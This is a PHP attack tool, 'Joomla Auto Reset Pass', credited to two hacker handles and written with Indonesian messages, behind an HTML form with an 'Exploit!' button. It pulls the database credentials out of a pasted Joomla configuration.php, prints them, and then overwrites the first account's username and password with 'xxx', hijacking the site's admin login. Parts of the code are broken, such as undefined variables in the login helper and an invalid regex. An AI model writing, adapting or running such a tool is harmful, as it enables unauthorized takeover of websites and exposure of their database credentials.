joomla auto reset password

<title>Joomla Auto Reset Pass</title>
    </head>
<body>
            <font size=4>Joomla Auto Reset Pass</font>
                        <table>
                            <tr><td><form method="post"></td></tr>
                            <tr><td align="right" style="width:5%;"><textarea placeholder="Content of configuration.php" style="padding: 5px; resize: none; width: 500px; height: 250px; border: solid 1px #006400;" name="link"></textarea><td><tr>
                            <tr><td><input style="width:100%; height:30px;" type="submit" value="Exploit!"></td></tr>
                            </form>
                        </table>


    </body>
</html>
<?php
// Original Code by TU5B0L3D
// Recoded by ./Bl4ckcod37
error_reporting(0);
    if($_POST){

        function jipukteks($param, $kata1, $kata2){
    if(strpos($param, $kata1) === FALSE) return FALSE;
    if(strpos($param, $kata2) === FALSE) return FALSE;
    $start = strpos($param, $kata1) + strlen($kata1);
    $end = strpos($param, $kata2, $start);
    $return = substr($param, $start, $end - $start);
    return $return;
}

    function anucurl($sites){
        $ch1 = curl_init ("$sites");
curl_setopt ($ch1, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch1, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch1, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch1, CURLOPT_CONNECTTIMEOUT, 5);
curl_setopt ($ch1, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch1, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch1, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch1, CURLOPT_COOKIEFILE,'coker_log');
$data = curl_exec ($ch1);
return $data;
    }

function lohgin($fak1,$fak2,$fak3,$fak4,$fak5){
    $post2 = array(
                    "username" => "$fak1",
                    "passwd" => "$fak2",
                    "lang" => "en-GB",
                    "option" => "com_login",
                    "task" => "login",
                    "return" => "$fak3",
                    "$fak4" => "1",

                    );
$ch = curl_init ("$cek");
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt ($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt ($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");
curl_setopt ($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt ($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt ($ch, CURLOPT_POST, 1);
curl_setopt ($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_COOKIEJAR,'coker_log');
curl_setopt($ch, CURLOPT_COOKIEFILE,'coker_log');
$data6 = curl_exec ($ch);
return $data6;
    }

        $link = $_POST['link'];
        if($link==""){
            echo "Report: <br>";
            echo "-> Config Joomla-nya Belum Diisi  ndan <-";
        }
        else{
            $host = "localhost";
                    $username = jipukteks($link,"user = '","'");
                    $password = jipukteks($link,"password = '","'");
                    $db = jipukteks($link,"db = '","'");
                    $dbprefix = jipukteks($link,"dbprefix = '","'");
                    $user_baru = "xxx";
                    $password_baru = "xxx";
                    $prefix = $dbprefix."users";
                    $pass = md5("$password_baru");
                    $serah = $db.".".$dbprefix;


                    echo "<font color='#C6C646'>Database Content :</font><br>";
                    echo "Db Host&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp: <font color='green'>$host</font><br>";
                    echo "Db user&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp: <font color='green'>$username</font><br>";
                    echo "Db Password &nbsp: <font color='green'>$password</font><br>";
                    echo "Db name&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp&nbsp: <font color='green'>$db</font><br>";
                    echo "Table_Prefix &nbsp&nbsp: <font color='green'>$dbprefix</font><br>";

        mysql_connect($host,$username,$password) or die("<font color='red'>Gagal masuk Database ..</font>");
        mysql_select_db($db) or die("<font color='red'>Gagal masuk Database ..</font>");

        $show=mysql_query("SELECT * FROM $prefix ORDER BY id ASC");
    $r=mysql_fetch_array($show);
        $id = $r[id];

         mysql_query("UPDATE $prefix SET password='$pass',username='$user_baru' WHERE id='$id'");
$utama = "$link";
$kedua = @file_get_contents($utama);
if(preg_match("askdasldasdlja12123",$kedua)){
                        echo "# <font color='green'>berhasil rubah password</font><br>";
                        echo "# $utama<br>";

                    }
                    else{
                        echo "<br># <font color='green'>Pasword berhasil dirubah: </font><br>";
                        echo "Username: <font color='#C6C646'>$user_baru</font><br>";
                        echo "Password: <font color='#C6C646'>$password_baru</font><br>";


                    }
                }


    }else{
            echo '';
        }
?>